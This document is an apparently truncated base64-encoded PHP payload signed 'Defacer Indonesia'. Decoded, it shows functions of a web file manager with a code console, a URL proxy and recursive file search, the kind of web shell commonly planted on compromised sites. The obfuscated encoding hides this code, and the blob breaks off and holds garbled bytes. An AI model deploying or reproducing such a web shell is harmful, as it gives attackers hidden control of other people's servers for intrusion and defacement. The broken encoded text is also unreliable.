m8vLy8vdFQwMnpyK2Z3NjZSdGo0MzJURXAzTVhFMkRBcjNUWXAxeTRtdER3Mi83Qk0vN0JPcVZwYy84bDMxamNxcTZlbndjSEIyVGdpNWpncVZwYkZ2cmEybkJBVi9QejgyUzBqbngwVzNUVWtxU2dpNGVIaDRUc3JlNHdvc3owMjZ1UGp6R1lkNlVzM3luQXlkVUJBNUtsM2ZtNWVxWmFXN09EZ2kyVmcrUGo0dVkrRXdMbTViWTlVLy83amZMdEMrdE9LM2pjbS83MXUyallvMVVZaDVhSmwvc2VDM2pFbTEya21KcklBMWpNbS85YVU0TGgwZTAxQmxJYUUvLy9kaE1kQzdJQS8vZlRaMmMzTVc2bk4zMHdmOTVWZDRKZFhvWFZvczhuRTRlZk4vKzYzSUpnU25ZaGw3RjRjc1h0ODlHUVV3TCsvamwxYzQxQXErZmIyZ210STFyS2EyQzRrSmFJQTNqWXJsVHc1dGo0MjNqWW4zY1hFMXpRb3hNSEJwMWxaM0RnbXFpa3MvK21jakxLODNqWWt5bU1WM1RZay8vSE0rdTdXaG10cjBvZFRwYU9qZldKZnJIcGcvOEJzLzd0Vy83VmUrNFU1MkRNbTNNTEJuNHFMZ05WTTZNekIzbEVmbEl1TC8rakEvLy8yMExPempYeDgvN2xiV3BKRzJDOGszVG9zSktNQTF5d2pvcE9SMXpZcDVEc3BpYXkreUtOaHFLU2s4Tlc2L2ZqbnM3T3oydG5adXo4ODdiK1czYVJZLyttczRyQ0UzVG90N1Y4NWJLeGp1RUEzdzQ1Vmg1dWhxNmFtNGNGeGdaWlcvOXFJdXdnS3kwc1crdWpUNFRRbnR6NDIzQzhpM3pVai8rS3cvYTVkNlVNeHVMNnd6REVyLy8vL2NxSlFmQUFBQUt4MFVrNVQvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy9BQVdWRmJFQUFBQVpkRVZZZEZOdlpuUjNZWEpsQUVGa2IySmxJRWx0WVdkbFVtVmhaSGx4eVdVOEFBQUEyVWxFUVZRb1UyTllqUVlZc0FpRThVOVl6RFlqVnBHWlJ4TWlFQ2l0TXJWWnZvTXJUbFEyRVNSUUoyRlZ3aW5ZYm1xVFVMb29obkUxZzFhS0dTL2ZOTXRrNDB5WjlLVkxRaGdZa3VZN054UXZYeUhWRk5uS3pSNjlxcHhCUE1lejBFVEFReVRVdlNvZ2FJRmFQY05xVi9NNWRoYTJSbDJUaW1iNlorUUJEWTFYTi9TYnU4eEZMRzNlTERmbDJVQUJqaWxPMW8wMTJaM2VrMWxaVklXQUFtVVRLNkwwczNwWCtqajZwdVoyQXdXVXZCUmFwaHN3TWRVdWpDaXdEd2E1VkVkUEk3eW5VbGM3djFxWVVSTHF1ZjQyaHo0NUNCUER0d0FDcm0rUkRjeEpZQUFBQUFCSlJVNUVya0pnZ2c9PSIpOw0KDQoJICAgICBiYWNrZ3JvdW5kLXJlcGVhdDogbm8tcmVwZWF0Ow0KDQp9JzsNCg0KfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KZnVuY3Rpb24gZm1fY29uZmlnX2NoZWNrYm94X3JvdygkbmFtZSwkdmFsdWUpIHsNCgkgICAgIGdsb2JhbCAkZm1fY29uZmlnOw0KDQoJICAgICByZXR1cm4gJzx0cj48dGQgY2xhc3M9InJvdzEiPjxpbnB1dCBpZD0iZm1fY29uZmlnXycuJHZhbHVlLiciIG5hbWU9ImZtX2NvbmZpZ1snLiR2YWx1ZS4nXSIgdmFsdWU9IjEiICcuKGVtcHR5KCRmbV9jb25maWdbJHZhbHVlXSk%2FJyc6J2NoZWNrZWQ9InRydWUiJykuJyB0eXBlPSJjaGVja2JveCI%2BPC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPjxsYWJlbCBmb3I9ImZtX2NvbmZpZ18nLiR2YWx1ZS4nIj4nLiRuYW1lLic8L3RkPjwvdHI%2BJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCn0NCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KZnVuY3Rpb24gZm1fcHJvdG9jb2woKSB7DQoJICAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfU0NIRU1FJ10pKSByZXR1cm4gJF9TRVJWRVJbJ0hUVFBfU0NIRU1FJ10uJzovLyc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBTJ10pICYmICRfU0VSVkVSWydIVFRQUyddID09ICdvbicpIHJldHVybiAnaHR0cHM6Ly8nOw0KDQoJICAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10pICYmICRfU0VSVkVSWydTRVJWRVJfUE9SVCddID09IDQ0MykgcmV0dXJuICdodHRwczovLyc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSkgJiYgJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSA9PSAnaHR0cHMnKSByZXR1cm4gJ2h0dHBzOi8vJzsNCg0KCSAgICAgcmV0dXJuICdodHRwOi8vJzsNCg0KfQ0KDQoNCg0KZnVuY3Rpb24gZm1fc2l0ZV91cmwoKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIHJldHVybiBmbV9wcm90b2NvbCgpLiRfU0VSVkVSWydIVFRQX0hPU1QnXTsNCg0KfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoNCg0KZnVuY3Rpb24gZm1fdXJsKCRmdWxsPWZhbHNlKSB7DQoNCgkgICAgICRob3N0PSRmdWxsP2ZtX3NpdGVfdXJsKCk6Jy4nOw0KDQoJICAgICByZXR1cm4gJGhvc3QuJy8nLmJhc2VuYW1lKF9fRklMRV9fKTsNCg0KfQ0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCmZ1bmN0aW9uIGZtX2hvbWUoJGZ1bGw9ZmFsc2Upew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICByZXR1cm4gJyZuYnNwOzxhIGhyZWY9IicuZm1fdXJsKCRmdWxsKS4nIiB0aXRsZT0iJy5fXygnSG9tZScpLiciPjxzcGFuIGNsYXNzPSJob21lIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8L3NwYW4%2BPC9hPic7DQoNCn0NCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KZnVuY3Rpb24gZm1fcnVuX2lucHV0KCRsbmcpIHsNCg0KCSAgICAgZ2xvYmFsICRmbV9jb25maWc7DQoNCgkgICAgICRyZXR1cm4gPSAhZW1wdHkoJGZtX2NvbmZpZ1snZW5hYmxlXycuJGxuZy4nX2NvbnNvbGUnXSkgPyANCg0KCSAgICAgJw0KDQoJICAgICAJICAgICAJICAgICAJICAgICA8Zm9ybSAgbWV0aG9kPSJwb3N0IiBhY3Rpb249IicuZm1fdXJsKCkuJyIgc3R5bGU9ImRpc3BsYXk6aW5saW5lIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSInLiRsbmcuJ3J1biIgdmFsdWU9Iicuc3RydG91cHBlcigkbG5nKS4nICcuX18oJ0NvbnNvbGUnKS4nIj4NCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgPC9mb3JtPg0KDQonIDogJyc7DQoJICAgICByZXR1cm4gJHJldHVybjsNCg0KfQ0KDQoNCg0KZnVuY3Rpb24gZm1fdXJsX3Byb3h5KCRtYXRjaGVzKSB7DQoJICAgICAkbGluayA9IHN0cl9yZXBsYWNlKCcmYW1wOycsJyYnLCRtYXRjaGVzWzJdKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgICR1cmwgPSBpc3NldCgkX0dFVFsndXJsJ10pPyRfR0VUWyd1cmwnXTonJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgJHBhcnNlX3VybCA9IHBhcnNlX3VybCgkdXJsKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgICRob3N0ID0gJHBhcnNlX3VybFsnc2NoZW1lJ10uJzovLycuJHBhcnNlX3VybFsnaG9zdCddLicvJzsNCg0KCSAgICAgaWYgKHN1YnN0cigkbGluaywwLDIpPT0nLy8nKSB7DQoNCgkgICAgIAkgICAgICRsaW5rID0gc3Vic3RyX3JlcGxhY2UoJGxpbmssZm1fcHJvdG9jb2woKSwwLDIpOw0KDQoJICAgICB9IGVsc2VpZiAoc3Vic3RyKCRsaW5rLDAsMSk9PScvJykgew0KDQoJICAgICAJICAgICAkbGluayA9IHN1YnN0cl9yZXBsYWNlKCRsaW5rLCRob3N0LDAsMSk7CSAgICAgDQoJICAgICB9IGVsc2VpZiAoc3Vic3RyKCRsaW5rLDAsMik9PScuLycpIHsNCg0KCSAgICAgCSAgICAgJGxpbmsgPSBzdWJzdHJfcmVwbGFjZSgkbGluaywkaG9zdCwwLDIpOwkgICAgIA0KCSAgICAgfSBlbHNlaWYgKHN1YnN0cigkbGluaywwLDQpPT0naHR0cCcpIHsNCg0KCSAgICAgCSAgICAgLy9hbGxlcyBtYWNoZW4gd3VuZGVyc2Nob24NCgkgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAkbGluayA9ICRob3N0LiRsaW5rOw0KDQoJICAgICB9IA0KCSAgICAgaWYgKCRtYXRjaGVzWzFdPT0naHJlZicgJiYgIXN0cnJpcG9zKCRsaW5rLCAnY3NzJykpIHsNCg0KCSAgICAgCSAgICAgJGJhc2UgPSBmbV9zaXRlX3VybCgpLicvJy5iYXNlbmFtZShfX0ZJTEVfXyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgICRiYXNlcSA9ICRiYXNlLic%2FcHJveHk9dHJ1ZSZ1cmw9JzsNCg0KCSAgICAgCSAgICAgJGxpbmsgPSAkYmFzZXEudXJsZW5jb2RlKCRsaW5rKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgfSBlbHNlaWYgKHN0cnJpcG9zKCRsaW5rLCAnY3NzJykpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAvL%2B%2B%2Fvdyn0afvv70t77%2B977%2B977%2B9IO%2B%2Fve%2B%2Fve%2B%2Fvdin77%2B9IO%2B%2Fve%2B%2Fve%2B%2FvdWn3qfWp9%2Bn77%2B977%2B977%2B9IO%2B%2Fvd%2Bn0afVp%2B%2B%2FvQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIHJldHVybiAkbWF0Y2hlc1sxXS4nPSInLiRsaW5rLiciJzsNCg0KfQ0KDQogDQoNCmZ1bmN0aW9uIGZtX3RwbF9mb3JtKCRsbmdfdHBsKSB7DQoNCgkgICAgIGdsb2JhbCAkeyRsbmdfdHBsLidfdGVtcGxhdGVzJ307DQoNCgkgICAgICR0cGxfYXJyID0ganNvbl9kZWNvZGUoJHskbG5nX3RwbC4nX3RlbXBsYXRlcyd9LHRydWUpOw0KCSAgICAgJHN0ciA9ICcnOw0KDQoJICAgICBmb3JlYWNoICgkdHBsX2FyciBhcyAka3RwbD0%2BJHZ0cGwpIHsNCg0KCSAgICAgCSAgICAgJHN0ciAuPSAnPHRyPjx0ZCBjbGFzcz0icm93MSI%2BPGlucHV0IG5hbWU9IicuJGxuZ190cGwuJ19uYW1lW10iIHZhbHVlPSInLiRrdHBsLiciPjwvdGQ%2BPHRkIGNsYXNzPSJyb3cyIHdob2xlIj48dGV4dGFyZWEgbmFtZT0iJy4kbG5nX3RwbC4nX3ZhbHVlW10iICBjb2xzPSI1NSIgcm93cz0iNSIgY2xhc3M9InRleHRhcmVhX2lucHV0Ij4nLiR2dHBsLic8L3RleHRhcmVhPiA8aW5wdXQgbmFtZT0iZGVsXycucmFuZCgpLiciIHR5cGU9ImJ1dHRvbiIgb25DbGljaz0idGhpcy5wYXJlbnROb2RlLnBhcmVudE5vZGUucmVtb3ZlKCk7IiB2YWx1ZT0iJy5fXygnRGVsZXRlJykuJyIvPjwvdGQ%2BPC90cj4nOw0KDQoJICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KcmV0dXJuICcNCg0KPHRhYmxlPg0KPHRyPjx0aCBjb2xzcGFuPSIyIj4nLnN0cnRvdXBwZXIoJGxuZ190cGwpLicgJy5fXygndGVtcGxhdGVzJykuJyAnLmZtX3J1bl9pbnB1dCgkbG5nX3RwbCkuJzwvdGg%2BPC90cj4NCg0KPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiI%2BDQoNCjxpbnB1dCB0eXBlPSJoaWRkZW4iIHZhbHVlPSInLiRsbmdfdHBsLiciIG5hbWU9InRwbF9lZGl0ZWQiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo8dHI%2BPHRkIGNsYXNzPSJyb3cxIj4nLl9fKCdOYW1lJykuJzwvdGQ%2BPHRkIGNsYXNzPSJyb3cyIHdob2xlIj4nLl9fKCdWYWx1ZScpLic8L3RkPjwvdHI%2BDQonLiRzdHIuJw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo8dHI%2BPHRkIGNvbHNwYW49IjIiIGNsYXNzPSJyb3czIj48aW5wdXQgbmFtZT0icmVzIiB0eXBlPSJidXR0b24iIG9uQ2xpY2s9ImRvY3VtZW50LmxvY2F0aW9uLmhyZWYgPSBcJycuZm1fdXJsKCkuJz9mbV9zZXR0aW5ncz10cnVlXCc7IiB2YWx1ZT0iJy5fXygnUmVzZXQnKS4nIi8%2BIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSInLl9fKCdTYXZlJykuJyIgPjwvdGQ%2BPC90cj4NCg0KPC9mb3JtPg0KDQo8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgdmFsdWU9IicuJGxuZ190cGwuJyIgbmFtZT0idHBsX2VkaXRlZCI%2BDQo8dHI%2BPHRkIGNsYXNzPSJyb3cxIj48aW5wdXQgbmFtZT0iJy4kbG5nX3RwbC4nX25ld19uYW1lIiB2YWx1ZT0iIiBwbGFjZWhvbGRlcj0iJy5fXygnTmV3JykuJyAnLl9fKCdOYW1lJykuJyI%2BPC90ZD48dGQgY2xhc3M9InJvdzIgd2hvbGUiPjx0ZXh0YXJlYSBuYW1lPSInLiRsbmdfdHBsLidfbmV3X3ZhbHVlIiAgY29scz0iNTUiIHJvd3M9IjUiIGNsYXNzPSJ0ZXh0YXJlYV9pbnB1dCIgcGxhY2Vob2xkZXI9IicuX18oJ05ldycpLicgJy5fXygnVmFsdWUnKS4nIj48L3RleHRhcmVhPjwvdGQ%2BPC90cj4NCg0KPHRyPjx0ZCBjb2xzcGFuPSIyIiBjbGFzcz0icm93MyI%2BPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicuX18oJ0FkZCcpLiciID48L3RkPjwvdHI%2BDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo8L2Zvcm0%2BDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo8L3RhYmxlPg0KJzsNCn0NCg0KDQpmdW5jdGlvbiBmaW5kX3RleHRfaW5fZmlsZUFycmF5KCRkaXIsICRtYXNrLCAkdGV4dCkgew0KICAgICRyZXN1bHRzID0gYXJyYXkoKTsNCg0KICAgIGlmICgkaGFuZGxlID0gb3BlbmRpcigkZGlyKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgd2hpbGUgKGZhbHNlICE9PSAoJGVudHJ5ID0gcmVhZGRpcigkaGFuZGxlKSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGVudHJ5ICE9ICIuIiAmJiAkZW50cnkgIT0gIi4uIikgew0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGF0aCA9ICRkaXIgLiAiLyIgLiAkZW50cnk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJHBhdGgpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVzdWx0cyA9IG
Copyright ©2021 || Defacer Indonesia